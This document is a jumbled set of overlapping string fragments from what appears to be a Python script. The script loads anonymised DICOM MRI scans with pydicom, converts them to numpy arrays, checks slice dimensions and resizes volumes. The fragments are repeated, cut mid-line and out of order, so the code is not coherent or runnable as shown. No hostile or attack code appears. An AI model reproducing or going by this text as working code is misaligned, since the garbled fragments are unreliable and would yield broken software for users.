[z,x,y] Returns: new_data (numpy.ndarray): a numpy array with the desired", "return np_image def resize_data(data, new_dimensions): ''' This function resizes a numpy array. TO", "MRI scans of THE patient Returns: slices (list): A list of the slices", "contain the minimum and maximum dimensions of all scans. \"\"\" lengths = []", "Parameters: data (numpy.ndarray): a numpy array representing an MRI scan new_dimensions (list): a", "This function gets the minimum and maximum dimensions of all scans Paramters: patients_dcm", "up a scan are squares. Parameters: patients_dcm (list): A list containing the MRI", "images into numpy arrays with the desired dimensions Parameters: master_path (str): the path", "of them in one scan have the same dimension if patients_dcm[i][0].pixel_array.shape[0] != patients_dcm[i][0].pixel_array.shape[1]:", "of individual patients ''' master_path = master_path + '/MR/' patients_name = os.listdir(master_path) patients_dcm", "containing the MRI scans of THE patient Returns: slices (list): A list of", "== '.DS_Store/': # print(\"found ds\") # continue # else: # slices = [pydicom.read_file(path", "scan ''' image = np.stack([s.pixel_array for s in scan]) image = image.astype(np.int16) np_image", "if __name__ == '__main__': my_dir = os.getcwd() pat = load_data(my_dir, [20, 100, 100])", "Returns: None \"\"\" for i in range(len(patients_dcm)): print(patients_dcm[i][0].pixel_array.shape, len(patients_dcm[i])) def not_square(patients_dcm): \"\"\" This", "[20, 100, 100]) plt.imshow(pat[0][10, :, :]) plt.savefig('mri_scan.png') # See PyCharm help at https://www.jetbrains.com/help/pycharm/", "to the folder containing the MRI scans of THE patient Returns: slices (list):", "new_size_x delta_y = initial_size_y / new_size_y delta_z = initial_size_z / new_size_z new_data =", "max_length], [min_width, max_width], [min_height, max_height] (list): These lists contain the minimum and maximum", "try: slice_thickness = np.abs(slices[0].ImagePositionPatient[2] - slices[1].ImagePositionPatient[2]) except Exception: print(\"error\") slice_thickness = np.abs(slices[0].SliceLocation -", "* delta_z)][int(x * delta_x)][int(y * delta_y)] return new_data def get_extreme_dim(patients_dcm): \"\"\" This function", "same dimension if patients_dcm[i][0].pixel_array.shape[0] != patients_dcm[i][0].pixel_array.shape[1]: scans_not_square.append(i) print(\"Not all images are squares\") return", "[min_length, max_length], [min_width, max_width], [min_height, max_height] (list): These lists contain the minimum and", "/ new_size_y delta_z = initial_size_z / new_size_z new_data = np.zeros((new_size_z, new_size_x, new_size_y)) for", "replace it with your code. # Press Double ⇧ to search everywhere for", "min_height = min(heights) print(\"Min length: {min_l} \\nMax length: {max_l}\\n\".format(max_l=max_length, min_l=min_length)) if square ==", "None \"\"\" for i in range(len(patients_dcm)): print(patients_dcm[i][0].pixel_array.shape, len(patients_dcm[i])) def not_square(patients_dcm): \"\"\" This function", "TO DO: method used for interpolation? Parameters: data (numpy.ndarray): a numpy array representing", "slices[1].ImagePositionPatient[2]) except Exception: print(\"error\") slice_thickness = np.abs(slices[0].SliceLocation - slices[1].SliceLocation) for s in slices:", "initial_size_x = data.shape[1] initial_size_y = data.shape[2] initial_size_z = data.shape[0] new_size_z = new_dimensions[0] new_size_x", "These lists contain the minimum and maximum dimensions of all scans. \"\"\" lengths", "# print(\"found ds\") # continue # else: # slices = [pydicom.read_file(path + '/'", "THE patient Returns: slices (list): A list of the slices consisting the MRI", "list of the slices consisting the MRI scan \"\"\" # for s in", "A list containing the slices that make up an MRI scan Returns: np_image", "This is a sample Python script. # Press ⌃R to execute it or", "os.listdir(path): # if s == '.DS_Store/': # print(\"found ds\") # continue # else:", "+ s)] slices = [pydicom.read_file(path + '/' + s) for s in os.listdir(path)]", "new_dimensions[1] new_size_y = new_dimensions[2] delta_x = initial_size_x / new_size_x delta_y = initial_size_y /", "slices that make up the scan Returns: None \"\"\" for i in range(len(patients_dcm)):", "the dimensions of the new scan [z,x,y] Returns: patients_resized (numpy.ndarray): a numpy array", "of THE patient Returns: slices (list): A list of the slices consisting the", "to search everywhere for classes, files, tool windows, actions, and settings. # importing", "# slices = [pydicom.read_file(path + '/' + s)] slices = [pydicom.read_file(path + '/'", "= slice_thickness return slices def get_dimensions(patients_dcm): \"\"\" This function is used to get", "librarires import itertools import matplotlib.pyplot as plt import numpy as np import os", "False # for i in range(len(patients_dcm)): # if patients_dcm[i][0].pixel_array.shape[0] != patients_dcm[i][0].pixel_array.shape[1]: # square", "in range(len(patients_dcm)): print(patients_dcm[i][0].pixel_array.shape, len(patients_dcm[i])) def not_square(patients_dcm): \"\"\" This function tells us if all", "new scan [z,x,y] Returns: patients_resized (numpy.ndarray): a numpy array containing numpy arrays representing", "list containing the dimensions of the new scan [z,x,y] Returns: new_data (numpy.ndarray): a", "scan Returns: [min_length, max_length], [min_width, max_width], [min_height, max_height] (list): These lists contain the", "except Exception: print(\"error\") slice_thickness = np.abs(slices[0].SliceLocation - slices[1].SliceLocation) for s in slices: s.SliceThickness", "(numpy.ndarray): A numpy array representing the MRI scan ''' image = np.stack([s.pixel_array for", "= np.array(image, dtype=np.int16) return np_image def resize_data(data, new_dimensions): ''' This function resizes a", "min_width, max_width = -1, -1 print(\"All images are squares\\n\") print(\"Min height: {min_h} \\nMax", "import os import pandas as pd import pydicom def load_data(master_path, new_dimensions): ''' This", "patients_resized def load_scan(path): \"\"\" This function is used to load the MRI scans.", "min_length = min(lengths) max_height = max(heights) min_height = min(heights) print(\"Min length: {min_l} \\nMax", "height: {max_h}\\n\".format(max_h=max_height, min_h=min_height)) return [min_length, max_length], [min_width, max_width], [min_height, max_height] # Press the", "np_image = np.array(image, dtype=np.int16) return np_image def resize_data(data, new_dimensions): ''' This function resizes", "data.shape[1] initial_size_y = data.shape[2] initial_size_z = data.shape[0] new_size_z = new_dimensions[0] new_size_x = new_dimensions[1]", "array representing an MRI scan new_dimensions (list): a list containing the dimensions of", "[min_width, max_width], [min_height, max_height] # Press the green button in the gutter to", "numpy array. TO DO: method used for interpolation? Parameters: data (numpy.ndarray): a numpy", "= get_extreme_dim(patients_dcm) patients = [] for patient in patients_dcm: patients.append(get_array(patient)) print(\"Dicom files converted", "max_length], [min_width, max_width], [min_height, max_height] # Press the green button in the gutter", "scan Returns: scans_not_square (list): A list containing the indices of scans that contain", "if patient == '.DS_Store': continue path = master_path + patient + '/T2SPIR/DICOM_anon' patients_dcm.append(load_scan(path))", "MRI scans. Parameters: path (str): The path to the folder containing the MRI", "Returns: slices (list): A list of the slices consisting the MRI scan \"\"\"", "if all the slices that make up a scan are squares. Parameters: patients_dcm", "have the same dimension if patients_dcm[i][0].pixel_array.shape[0] != patients_dcm[i][0].pixel_array.shape[1]: scans_not_square.append(i) print(\"Not all images are", "= [pydicom.read_file(path + '/' + s) for s in os.listdir(path)] slices.sort(key=lambda x: float(x.ImagePositionPatient[2]))", "= [] widths = [] heights = [] square = True scans_not_square =", "to run the script. if __name__ == '__main__': my_dir = os.getcwd() pat =", "width: {min_w} \\nMax width: {max_w}\\n\".format(max_w=max_width, min_w=min_width)) else: min_width, max_width = -1, -1 print(\"All", "Parameters: patients_dcm (list): A list containing the MRI scans. Each MRI scan is", "all scans Parameters: patients_dcm (list): A list containing the MRI scans. Each MRI", "This function is used to transform dicom images into numpy arrays with the", "# This is a sample Python script. # Press ⌃R to execute it", "patients_dcm (list): A list containing the MRI scans. Each MRI scan is a", "Python script. # Press ⌃R to execute it or replace it with your", "dicom images into numpy arrays with the desired dimensions Parameters: master_path (str): the", "Double ⇧ to search everywhere for classes, files, tool windows, actions, and settings.", "the new scan [z,x,y] Returns: patients_resized (numpy.ndarray): a numpy array containing numpy arrays", "import matplotlib.pyplot as plt import numpy as np import os import pandas as", "arrays representing MRI scans of individual patients ''' master_path = master_path + '/MR/'", "This function converts a scan into a numpy array Parameters: scan (list): A", "This function resizes a numpy array. TO DO: method used for interpolation? Parameters:", "images are squares\\n\") print(\"Min height: {min_h} \\nMax height: {max_h}\\n\".format(max_h=max_height, min_h=min_height)) return [min_length, max_length],", "# print(\"Not all images are squares\") for i in range(len(patients_dcm)): lengths.append(patients_dcm[i][0].pixel_array.shape[0]) heights.append(len(patients_dcm[i])) if", "scans Parameters: patients_dcm (list): A list containing the MRI scans. Each MRI scan", "{max_w}\\n\".format(max_w=max_width, min_w=min_width)) else: min_width, max_width = -1, -1 print(\"All images are squares\\n\") print(\"Min", "all images are squares\") return scans_not_square def get_array(scan): ''' This function converts a", "def load_scan(path): \"\"\" This function is used to load the MRI scans. Parameters:", "min(widths) print(\"Min width: {min_w} \\nMax width: {max_w}\\n\".format(max_w=max_width, min_w=min_width)) else: min_width, max_width = -1,", "+ s) for s in os.listdir(path)] slices.sort(key=lambda x: float(x.ImagePositionPatient[2])) try: slice_thickness = np.abs(slices[0].ImagePositionPatient[2]", "scans_not_square (list): A list containing the indices of scans that contain non-square slices", "gutter to run the script. if __name__ == '__main__': my_dir = os.getcwd() pat", "to {size}\".format(size=patients_resized[0].shape)) return patients_resized def load_scan(path): \"\"\" This function is used to load", "os import pandas as pd import pydicom def load_data(master_path, new_dimensions): ''' This function", "# Press ⌃R to execute it or replace it with your code. #", "import pydicom def load_data(master_path, new_dimensions): ''' This function is used to transform dicom", "= data.shape[0] new_size_z = new_dimensions[0] new_size_x = new_dimensions[1] new_size_y = new_dimensions[2] delta_x =", "the slices that make up an MRI scan Returns: np_image (numpy.ndarray): A numpy", "squares\") return scans_not_square def get_array(scan): ''' This function converts a scan into a", "scan Returns: np_image (numpy.ndarray): A numpy array representing the MRI scan ''' image", "for patient in patients_name: if patient == '.DS_Store': continue path = master_path +", "= [] square = True scans_not_square = not_square(patients_dcm) if len(scans_not_square) != 0: square", "of all patients new_dimensions (list): a list containing the dimensions of the new", "in patients: patients_resized.append(resize_data(patient, new_dimensions)) print(\"Scans have been resized to {size}\".format(size=patients_resized[0].shape)) return patients_resized def", "scans that contain non-square slices \"\"\" scans_not_square = [] for i in range(len(patients_dcm)):", "if patients_dcm[i][0].pixel_array.shape[0] != patients_dcm[i][0].pixel_array.shape[1]: scans_not_square.append(i) print(\"Not all images are squares\") return scans_not_square def", "numpy array representing an MRI scan new_dimensions (list): a list containing the dimensions", "scans_not_square = not_square(patients_dcm) [min_length, max_length], [min_width, max_width], [min_height, max_height] = get_extreme_dim(patients_dcm) patients =", "new_size_z = new_dimensions[0] new_size_x = new_dimensions[1] new_size_y = new_dimensions[2] delta_x = initial_size_x /", "new_dimensions)) print(\"Scans have been resized to {size}\".format(size=patients_resized[0].shape)) return patients_resized def load_scan(path): \"\"\" This", "square == False: max_width = max(widths) min_width = min(widths) print(\"Min width: {min_w} \\nMax", "slices that make up an MRI scan Returns: np_image (numpy.ndarray): A numpy array", "patients_dcm[i][0].pixel_array.shape[0] != patients_dcm[i][0].pixel_array.shape[1]: scans_not_square.append(i) print(\"Not all images are squares\") return scans_not_square def get_array(scan):", "scans_not_square def get_array(scan): ''' This function converts a scan into a numpy array", "slice because all of them in one scan have the same dimension if", "max_length], [min_width, max_width], [min_height, max_height] = get_extreme_dim(patients_dcm) patients = [] for patient in", "s)] slices = [pydicom.read_file(path + '/' + s) for s in os.listdir(path)] slices.sort(key=lambda", "of the slices that make up the scan Returns: None \"\"\" for i", "an MRI scan Returns: np_image (numpy.ndarray): A numpy array representing the MRI scan", "is a list of the slices that make up the scan Returns: [min_length,", "resized to {size}\".format(size=patients_resized[0].shape)) return patients_resized def load_scan(path): \"\"\" This function is used to", "load_data(master_path, new_dimensions): ''' This function is used to transform dicom images into numpy", "Returns: [min_length, max_length], [min_width, max_width], [min_height, max_height] (list): These lists contain the minimum", "the indices of scans that contain non-square slices \"\"\" scans_not_square = [] for", "= False # print(\"Not all images are squares\") for i in range(len(patients_dcm)): lengths.append(patients_dcm[i][0].pixel_array.shape[0])", "= initial_size_z / new_size_z new_data = np.zeros((new_size_z, new_size_x, new_size_y)) for x, y, z", "print(\"Scans have been resized to {size}\".format(size=patients_resized[0].shape)) return patients_resized def load_scan(path): \"\"\" This function", "new_size_y delta_z = initial_size_z / new_size_z new_data = np.zeros((new_size_z, new_size_x, new_size_y)) for x,", "sample Python script. # Press ⌃R to execute it or replace it with", "Parameters: master_path (str): the path to the directory containing the scans of all", "used for interpolation? Parameters: data (numpy.ndarray): a numpy array representing an MRI scan", "square = True scans_not_square = not_square(patients_dcm) if len(scans_not_square) != 0: square = False", "min_h=min_height)) return [min_length, max_length], [min_width, max_width], [min_height, max_height] # Press the green button", "to execute it or replace it with your code. # Press Double ⇧", "the minimum and maximum dimensions of all scans Paramters: patients_dcm (list): A list", "\"\"\" This function tells us if all the slices that make up a", "image = np.stack([s.pixel_array for s in scan]) image = image.astype(np.int16) np_image = np.array(image,", "os.listdir(path)] slices.sort(key=lambda x: float(x.ImagePositionPatient[2])) try: slice_thickness = np.abs(slices[0].ImagePositionPatient[2] - slices[1].ImagePositionPatient[2]) except Exception: print(\"error\")", "'.DS_Store/': # print(\"found ds\") # continue # else: # slices = [pydicom.read_file(path +", "y, z in itertools.product(range(new_size_x), range(new_size_y), range(new_size_z)): new_data[z][x][y] = data[int(z * delta_z)][int(x * delta_x)][int(y", "patients = [] for patient in patients_dcm: patients.append(get_array(patient)) print(\"Dicom files converted to numpy", "range(len(patients_dcm)): # we compare only the first slice because all of them in", "max_width], [min_height, max_height] = get_extreme_dim(patients_dcm) patients = [] for patient in patients_dcm: patients.append(get_array(patient))", "master_path = master_path + '/MR/' patients_name = os.listdir(master_path) patients_dcm = [] # contains", "containing numpy arrays representing MRI scans of individual patients ''' master_path = master_path", "= True scans_not_square = not_square(patients_dcm) if len(scans_not_square) != 0: square = False #", "function tells us if all the slices that make up a scan are", "{min_l} \\nMax length: {max_l}\\n\".format(max_l=max_length, min_l=min_length)) if square == False: max_width = max(widths) min_width", "= load_data(my_dir, [20, 100, 100]) plt.imshow(pat[0][10, :, :]) plt.savefig('mri_scan.png') # See PyCharm help", "make up an MRI scan Returns: np_image (numpy.ndarray): A numpy array representing the", "ds\") # continue # else: # slices = [pydicom.read_file(path + '/' + s)]", "the folder containing the MRI scans of THE patient Returns: slices (list): A", "function is used to transform dicom images into numpy arrays with the desired", "width: {max_w}\\n\".format(max_w=max_width, min_w=min_width)) else: min_width, max_width = -1, -1 print(\"All images are squares\\n\")", "up the scan Returns: scans_not_square (list): A list containing the indices of scans", "get_array(scan): ''' This function converts a scan into a numpy array Parameters: scan", "min(heights) print(\"Min length: {min_l} \\nMax length: {max_l}\\n\".format(max_l=max_length, min_l=min_length)) if square == False: max_width", "method used for interpolation? Parameters: data (numpy.ndarray): a numpy array representing an MRI", "= np.stack([s.pixel_array for s in scan]) image = image.astype(np.int16) np_image = np.array(image, dtype=np.int16)", "maximum dimensions of all scans. \"\"\" lengths = [] widths = [] heights", "containing the indices of scans that contain non-square slices \"\"\" scans_not_square = []", "of the slices that make up the scan Returns: [min_length, max_length], [min_width, max_width],", "new_size_x, new_size_y)) for x, y, z in itertools.product(range(new_size_x), range(new_size_y), range(new_size_z)): new_data[z][x][y] = data[int(z", "= max(lengths) min_length = min(lengths) max_height = max(heights) min_height = min(heights) print(\"Min length:", "slices def get_dimensions(patients_dcm): \"\"\" This function is used to get the dimensions of", "max_height] (list): These lists contain the minimum and maximum dimensions of all scans.", "the MRI scan \"\"\" # for s in os.listdir(path): # if s ==", "numpy arrays representing MRI scans of individual patients ''' master_path = master_path +", "into a numpy array Parameters: scan (list): A list containing the slices that", "that make up a scan are squares. Parameters: patients_dcm (list): A list containing", "\"\"\" This function is used to get the dimensions of all scans Parameters:", "dtype=np.int16) return np_image def resize_data(data, new_dimensions): ''' This function resizes a numpy array.", "= os.getcwd() pat = load_data(my_dir, [20, 100, 100]) plt.imshow(pat[0][10, :, :]) plt.savefig('mri_scan.png') #", "consisting the MRI scan \"\"\" # for s in os.listdir(path): # if s", "[] for patient in patients: patients_resized.append(resize_data(patient, new_dimensions)) print(\"Scans have been resized to {size}\".format(size=patients_resized[0].shape))", "interpolation? Parameters: data (numpy.ndarray): a numpy array representing an MRI scan new_dimensions (list):", "/ new_size_x delta_y = initial_size_y / new_size_y delta_z = initial_size_z / new_size_z new_data", "== False: widths.append(patients_dcm[i][0].pixel_array.shape[1]) max_length = max(lengths) min_length = min(lengths) max_height = max(heights) min_height", "= not_square(patients_dcm) if len(scans_not_square) != 0: square = False # for i in", "+ '/MR/' patients_name = os.listdir(master_path) patients_dcm = [] # contains the samples in", "the MRI scan ''' image = np.stack([s.pixel_array for s in scan]) image =", "script. if __name__ == '__main__': my_dir = os.getcwd() pat = load_data(my_dir, [20, 100,", "new_dimensions (list): a list containing the dimensions of the new scan [z,x,y] Returns:", "min_l=min_length)) if square == False: max_width = max(widths) min_width = min(widths) print(\"Min width:", "import itertools import matplotlib.pyplot as plt import numpy as np import os import", "array\") patients_resized = [] for patient in patients: patients_resized.append(resize_data(patient, new_dimensions)) print(\"Scans have been", "= max(widths) min_width = min(widths) print(\"Min width: {min_w} \\nMax width: {max_w}\\n\".format(max_w=max_width, min_w=min_width)) else:", "for patient in patients: patients_resized.append(resize_data(patient, new_dimensions)) print(\"Scans have been resized to {size}\".format(size=patients_resized[0].shape)) return", "\"\"\" # for s in os.listdir(path): # if s == '.DS_Store/': # print(\"found", "new_data def get_extreme_dim(patients_dcm): \"\"\" This function gets the minimum and maximum dimensions of", "slices: s.SliceThickness = slice_thickness return slices def get_dimensions(patients_dcm): \"\"\" This function is used", "# else: # slices = [pydicom.read_file(path + '/' + s)] slices = [pydicom.read_file(path", "patient Returns: slices (list): A list of the slices consisting the MRI scan", "[] for i in range(len(patients_dcm)): # we compare only the first slice because", "{size}\".format(size=patients_resized[0].shape)) return patients_resized def load_scan(path): \"\"\" This function is used to load the", "== False: max_width = max(widths) min_width = min(widths) print(\"Min width: {min_w} \\nMax width:", "list containing the slices that make up an MRI scan Returns: np_image (numpy.ndarray):", "converts a scan into a numpy array Parameters: scan (list): A list containing", "array containing numpy arrays representing MRI scans of individual patients ''' master_path =", "contains the samples in dicom format for patient in patients_name: if patient ==", "scan (list): A list containing the slices that make up an MRI scan", "and maximum dimensions of all scans. \"\"\" lengths = [] widths = []", "list of the slices that make up the scan Returns: [min_length, max_length], [min_width,", "\\nMax width: {max_w}\\n\".format(max_w=max_width, min_w=min_width)) else: min_width, max_width = -1, -1 print(\"All images are", "def get_dimensions(patients_dcm): \"\"\" This function is used to get the dimensions of all", "all scans. \"\"\" lengths = [] widths = [] heights = [] square", "if s == '.DS_Store/': # print(\"found ds\") # continue # else: # slices", "def load_data(master_path, new_dimensions): ''' This function is used to transform dicom images into", "dimensions Parameters: master_path (str): the path to the directory containing the scans of", "Returns: patients_resized (numpy.ndarray): a numpy array containing numpy arrays representing MRI scans of", "patients.append(get_array(patient)) print(\"Dicom files converted to numpy array\") patients_resized = [] for patient in", "continue # else: # slices = [pydicom.read_file(path + '/' + s)] slices =", "length: {min_l} \\nMax length: {max_l}\\n\".format(max_l=max_length, min_l=min_length)) if square == False: max_width = max(widths)", "= [] for patient in patients_dcm: patients.append(get_array(patient)) print(\"Dicom files converted to numpy array\")", "= master_path + '/MR/' patients_name = os.listdir(master_path) patients_dcm = [] # contains the", "new_dimensions): ''' This function is used to transform dicom images into numpy arrays", "MRI scan is a list of the slices that make up the scan", "the directory containing the scans of all patients new_dimensions (list): a list containing", "return slices def get_dimensions(patients_dcm): \"\"\" This function is used to get the dimensions", "in one scan have the same dimension if patients_dcm[i][0].pixel_array.shape[0] != patients_dcm[i][0].pixel_array.shape[1]: scans_not_square.append(i) print(\"Not", "* delta_x)][int(y * delta_y)] return new_data def get_extreme_dim(patients_dcm): \"\"\" This function gets the", "everywhere for classes, files, tool windows, actions, and settings. # importing important librarires", "representing the MRI scan ''' image = np.stack([s.pixel_array for s in scan]) image", "indices of scans that contain non-square slices \"\"\" scans_not_square = [] for i", "of scans that contain non-square slices \"\"\" scans_not_square = [] for i in", "a list of the slices that make up the scan Returns: [min_length, max_length],", "\"\"\" This function is used to load the MRI scans. Parameters: path (str):", "is a list of the slices that make up the scan Returns: scans_not_square", "dimensions of the new scan [z,x,y] Returns: patients_resized (numpy.ndarray): a numpy array containing", "''' This function converts a scan into a numpy array Parameters: scan (list):", "the slices that make up the scan Returns: None \"\"\" for i in", "path (str): The path to the folder containing the MRI scans of THE", "range(len(patients_dcm)): lengths.append(patients_dcm[i][0].pixel_array.shape[0]) heights.append(len(patients_dcm[i])) if square == False: widths.append(patients_dcm[i][0].pixel_array.shape[1]) max_length = max(lengths) min_length =", "''' This function is used to transform dicom images into numpy arrays with", "contain non-square slices \"\"\" scans_not_square = [] for i in range(len(patients_dcm)): # we", "one scan have the same dimension if patients_dcm[i][0].pixel_array.shape[0] != patients_dcm[i][0].pixel_array.shape[1]: scans_not_square.append(i) print(\"Not all", "new_size_y)) for x, y, z in itertools.product(range(new_size_x), range(new_size_y), range(new_size_z)): new_data[z][x][y] = data[int(z *", "= [pydicom.read_file(path + '/' + s)] slices = [pydicom.read_file(path + '/' + s)", "square = False # print(\"Not all images are squares\") for i in range(len(patients_dcm)):", "\"\"\" lengths = [] widths = [] heights = [] square = True", "individual patients ''' master_path = master_path + '/MR/' patients_name = os.listdir(master_path) patients_dcm =", "np.abs(slices[0].SliceLocation - slices[1].SliceLocation) for s in slices: s.SliceThickness = slice_thickness return slices def", "function is used to get the dimensions of all scans Parameters: patients_dcm (list):", "+ '/T2SPIR/DICOM_anon' patients_dcm.append(load_scan(path)) print(\"Dicom files loaded\") scans_not_square = not_square(patients_dcm) [min_length, max_length], [min_width, max_width],", "[min_length, max_length], [min_width, max_width], [min_height, max_height] = get_extreme_dim(patients_dcm) patients = [] for patient", "a numpy array representing an MRI scan new_dimensions (list): a list containing the", "= min(heights) print(\"Min length: {min_l} \\nMax length: {max_l}\\n\".format(max_l=max_length, min_l=min_length)) if square == False:", "and settings. # importing important librarires import itertools import matplotlib.pyplot as plt import", "= -1, -1 print(\"All images are squares\\n\") print(\"Min height: {min_h} \\nMax height: {max_h}\\n\".format(max_h=max_height,", "the dimensions of all scans Parameters: patients_dcm (list): A list containing the MRI", "= max(heights) min_height = min(heights) print(\"Min length: {min_l} \\nMax length: {max_l}\\n\".format(max_l=max_length, min_l=min_length)) if", "containing the MRI scans. Each MRI scan is a list of the slices", "scan Returns: None \"\"\" for i in range(len(patients_dcm)): print(patients_dcm[i][0].pixel_array.shape, len(patients_dcm[i])) def not_square(patients_dcm): \"\"\"", "for s in os.listdir(path)] slices.sort(key=lambda x: float(x.ImagePositionPatient[2])) try: slice_thickness = np.abs(slices[0].ImagePositionPatient[2] - slices[1].ImagePositionPatient[2])", "the minimum and maximum dimensions of all scans. \"\"\" lengths = [] widths", "all images are squares\") for i in range(len(patients_dcm)): lengths.append(patients_dcm[i][0].pixel_array.shape[0]) heights.append(len(patients_dcm[i])) if square ==", "min_width = min(widths) print(\"Min width: {min_w} \\nMax width: {max_w}\\n\".format(max_w=max_width, min_w=min_width)) else: min_width, max_width", "⌃R to execute it or replace it with your code. # Press Double", "new_size_y = new_dimensions[2] delta_x = initial_size_x / new_size_x delta_y = initial_size_y / new_size_y", "# Press Double ⇧ to search everywhere for classes, files, tool windows, actions,", "itertools.product(range(new_size_x), range(new_size_y), range(new_size_z)): new_data[z][x][y] = data[int(z * delta_z)][int(x * delta_x)][int(y * delta_y)] return", "it with your code. # Press Double ⇧ to search everywhere for classes,", "execute it or replace it with your code. # Press Double ⇧ to", "the scan Returns: scans_not_square (list): A list containing the indices of scans that", "= min(widths) print(\"Min width: {min_w} \\nMax width: {max_w}\\n\".format(max_w=max_width, min_w=min_width)) else: min_width, max_width =", "scans. \"\"\" lengths = [] widths = [] heights = [] square =", "[] # contains the samples in dicom format for patient in patients_name: if", "are squares\") return scans_not_square def get_array(scan): ''' This function converts a scan into", "because all of them in one scan have the same dimension if patients_dcm[i][0].pixel_array.shape[0]", "in patients_name: if patient == '.DS_Store': continue path = master_path + patient +", "new scan [z,x,y] Returns: new_data (numpy.ndarray): a numpy array with the desired dimensions", "(numpy.ndarray): a numpy array containing numpy arrays representing MRI scans of individual patients", "(str): the path to the directory containing the scans of all patients new_dimensions", "in dicom format for patient in patients_name: if patient == '.DS_Store': continue path", "== '.DS_Store': continue path = master_path + patient + '/T2SPIR/DICOM_anon' patients_dcm.append(load_scan(path)) print(\"Dicom files", "= image.astype(np.int16) np_image = np.array(image, dtype=np.int16) return np_image def resize_data(data, new_dimensions): ''' This", "return scans_not_square def get_array(scan): ''' This function converts a scan into a numpy", "up the scan Returns: [min_length, max_length], [min_width, max_width], [min_height, max_height] (list): These lists", "function is used to load the MRI scans. Parameters: path (str): The path", "else: min_width, max_width = -1, -1 print(\"All images are squares\\n\") print(\"Min height: {min_h}", "A numpy array representing the MRI scan ''' image = np.stack([s.pixel_array for s", "range(len(patients_dcm)): # if patients_dcm[i][0].pixel_array.shape[0] != patients_dcm[i][0].pixel_array.shape[1]: # square = False # print(\"Not all", "scan have the same dimension if patients_dcm[i][0].pixel_array.shape[0] != patients_dcm[i][0].pixel_array.shape[1]: scans_not_square.append(i) print(\"Not all images", "height: {min_h} \\nMax height: {max_h}\\n\".format(max_h=max_height, min_h=min_height)) return [min_length, max_length], [min_width, max_width], [min_height, max_height]", "loaded\") scans_not_square = not_square(patients_dcm) [min_length, max_length], [min_width, max_width], [min_height, max_height] = get_extreme_dim(patients_dcm) patients", "patient in patients_name: if patient == '.DS_Store': continue path = master_path + patient", "run the script. if __name__ == '__main__': my_dir = os.getcwd() pat = load_data(my_dir,", "slices (list): A list of the slices consisting the MRI scan \"\"\" #", "for classes, files, tool windows, actions, and settings. # importing important librarires import", "data.shape[2] initial_size_z = data.shape[0] new_size_z = new_dimensions[0] new_size_x = new_dimensions[1] new_size_y = new_dimensions[2]", "patients ''' master_path = master_path + '/MR/' patients_name = os.listdir(master_path) patients_dcm = []", "the slices consisting the MRI scan \"\"\" # for s in os.listdir(path): #", "s in slices: s.SliceThickness = slice_thickness return slices def get_dimensions(patients_dcm): \"\"\" This function", "# if s == '.DS_Store/': # print(\"found ds\") # continue # else: #", "all of them in one scan have the same dimension if patients_dcm[i][0].pixel_array.shape[0] !=", "(numpy.ndarray): a numpy array with the desired dimensions ''' initial_size_x = data.shape[1] initial_size_y", "slices that make up a scan are squares. Parameters: patients_dcm (list): A list", "scans of THE patient Returns: slices (list): A list of the slices consisting", "not_square(patients_dcm) [min_length, max_length], [min_width, max_width], [min_height, max_height] = get_extreme_dim(patients_dcm) patients = [] for", "make up the scan Returns: None \"\"\" for i in range(len(patients_dcm)): print(patients_dcm[i][0].pixel_array.shape, len(patients_dcm[i]))", "square == False: widths.append(patients_dcm[i][0].pixel_array.shape[1]) max_length = max(lengths) min_length = min(lengths) max_height = max(heights)", "that contain non-square slices \"\"\" scans_not_square = [] for i in range(len(patients_dcm)): #", "Exception: print(\"error\") slice_thickness = np.abs(slices[0].SliceLocation - slices[1].SliceLocation) for s in slices: s.SliceThickness =", "'.DS_Store': continue path = master_path + patient + '/T2SPIR/DICOM_anon' patients_dcm.append(load_scan(path)) print(\"Dicom files loaded\")", "dimensions of all scans. \"\"\" lengths = [] widths = [] heights =", "print(\"Min height: {min_h} \\nMax height: {max_h}\\n\".format(max_h=max_height, min_h=min_height)) return [min_length, max_length], [min_width, max_width], [min_height,", "not_square(patients_dcm): \"\"\" This function tells us if all the slices that make up", "{min_h} \\nMax height: {max_h}\\n\".format(max_h=max_height, min_h=min_height)) return [min_length, max_length], [min_width, max_width], [min_height, max_height] #", "files converted to numpy array\") patients_resized = [] for patient in patients: patients_resized.append(resize_data(patient,", "pandas as pd import pydicom def load_data(master_path, new_dimensions): ''' This function is used", "is a sample Python script. # Press ⌃R to execute it or replace", "new_data (numpy.ndarray): a numpy array with the desired dimensions ''' initial_size_x = data.shape[1]", "used to load the MRI scans. Parameters: path (str): The path to the", "np_image def resize_data(data, new_dimensions): ''' This function resizes a numpy array. TO DO:", "[] square = True scans_not_square = not_square(patients_dcm) if len(scans_not_square) != 0: square =", "scan is a list of the slices that make up the scan Returns:", "Press Double ⇧ to search everywhere for classes, files, tool windows, actions, and", "array with the desired dimensions ''' initial_size_x = data.shape[1] initial_size_y = data.shape[2] initial_size_z", "+ '/' + s)] slices = [pydicom.read_file(path + '/' + s) for s", "up an MRI scan Returns: np_image (numpy.ndarray): A numpy array representing the MRI", "scan new_dimensions (list): a list containing the dimensions of the new scan [z,x,y]", "the MRI scans of THE patient Returns: slices (list): A list of the", "dimensions of the new scan [z,x,y] Returns: new_data (numpy.ndarray): a numpy array with", "numpy array Parameters: scan (list): A list containing the slices that make up", "MRI scan ''' image = np.stack([s.pixel_array for s in scan]) image = image.astype(np.int16)", "squares. Parameters: patients_dcm (list): A list containing the MRI scans. Each MRI scan", "load_scan(path): \"\"\" This function is used to load the MRI scans. Parameters: path", "+ patient + '/T2SPIR/DICOM_anon' patients_dcm.append(load_scan(path)) print(\"Dicom files loaded\") scans_not_square = not_square(patients_dcm) [min_length, max_length],", "# for i in range(len(patients_dcm)): # if patients_dcm[i][0].pixel_array.shape[0] != patients_dcm[i][0].pixel_array.shape[1]: # square =", "os.getcwd() pat = load_data(my_dir, [20, 100, 100]) plt.imshow(pat[0][10, :, :]) plt.savefig('mri_scan.png') # See", "print(\"found ds\") # continue # else: # slices = [pydicom.read_file(path + '/' +", "path = master_path + patient + '/T2SPIR/DICOM_anon' patients_dcm.append(load_scan(path)) print(\"Dicom files loaded\") scans_not_square =", "# contains the samples in dicom format for patient in patients_name: if patient", "'/' + s) for s in os.listdir(path)] slices.sort(key=lambda x: float(x.ImagePositionPatient[2])) try: slice_thickness =", "s == '.DS_Store/': # print(\"found ds\") # continue # else: # slices =", "patients_dcm[i][0].pixel_array.shape[0] != patients_dcm[i][0].pixel_array.shape[1]: # square = False # print(\"Not all images are squares\")", "= min(lengths) max_height = max(heights) min_height = min(heights) print(\"Min length: {min_l} \\nMax length:", "the MRI scans. Each MRI scan is a list of the slices that", "that make up the scan 